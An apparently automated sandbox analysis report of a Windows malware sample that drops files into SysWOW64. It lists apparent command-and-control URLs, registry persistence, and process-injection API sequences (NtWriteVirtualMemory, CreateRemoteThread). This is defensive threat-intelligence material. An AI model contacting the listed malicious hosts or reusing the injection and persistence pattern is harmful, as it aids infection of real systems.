Source: edsuvoov-usum.exe, 00000001.00000003.2520337416.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6E
Source: edsuvoov-usum.exe, 00000001.00000003.2486097619.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EF
Source: edsuvoov-usum.exe, 00000001.00000003.3803639878.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034
Source: edsuvoov-usum.exe, 00000001.00000003.2545177368.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D
Source: edsuvoov-usum.exe, 00000001.00000003.2688085840.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481
Source: edsuvoov-usum.exe, 00000001.00000003.2699979474.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AF
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FB
Source: explorer.exe, 00000005.00000003.2211575398.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3827739979.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2211822398.0000000008D44000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078509367.0000000008D47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xrkwbwyqovesj.nu/
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yfcalywej.kr//
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/G0X~
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/L
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/f
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/xzK0L~
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ylmed.cm/z
Source: explorer.exe, 00000005.00000000.1369884699.000000000BF55000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BF55000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BF55000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppybbwe
Source: explorer.exe, 00000005.00000003.2212309611.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BFB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2214265649.000000000BFB3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3079859452.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BF72000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000003.2212309611.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BFB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2214265649.000000000BFB3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3079859452.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BF72000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSd
Source: explorer.exe, 00000005.00000003.2212309611.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BFB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2214265649.000000000BFB3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3079859452.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BF72000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSed0JA/:
Source: explorer.exe, 00000005.00000003.2212309611.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BFB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2214265649.000000000BFB3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3079859452.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BF72000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSu3
Source: explorer.exe, 00000005.00000000.1360878216.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2210576179.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078024513.0000000008B38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000000.1360878216.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2210576179.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078024513.0000000008B38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/%
Source: explorer.exe, 00000005.00000002.3818820442.00000000031BA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000002.3824992663.00000000089A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.00000000089A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000000.1369884699.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comj
Source: explorer.exe, 00000005.00000000.1369884699.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000005.00000002.3830834393.000000000BEEE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BEEE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BEEE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000005.00000002.3830834393.000000000BE77000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BE77000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BE77000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/ilable1
Source: explorer.exe, 00000005.00000000.1369884699.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,Creat	0_2_00403A19
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: 0_2_004019AA CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrlenA,OpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpyA,Process32Next,CloseHandle,CloseHandle,	0_2_004019AA
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 1_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,Creat	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 1_2_004019AA CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrlenA,OpenProcess,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpyA,Process32Next,CloseHandle,CloseHandle,	1_2_004019AA

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,Creat	0_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 1_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,Creat	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 3_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstrlenA,RegSetValueExA,RegClose	3_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	File created: C:\Windows\SysWOW64\edsuvoov-usum.exe			Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	File created: C:\Windows\SysWOW64\ehmehut.dll			Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: 0_2_00403A19	0_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 1_2_00403A19	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 3_2_00403A19	3_2_00403A19

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: String function: 00406718 appears 31 times
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: String function: 00406718 appears 31 times

Source: 5SGOAKv7AR.exe

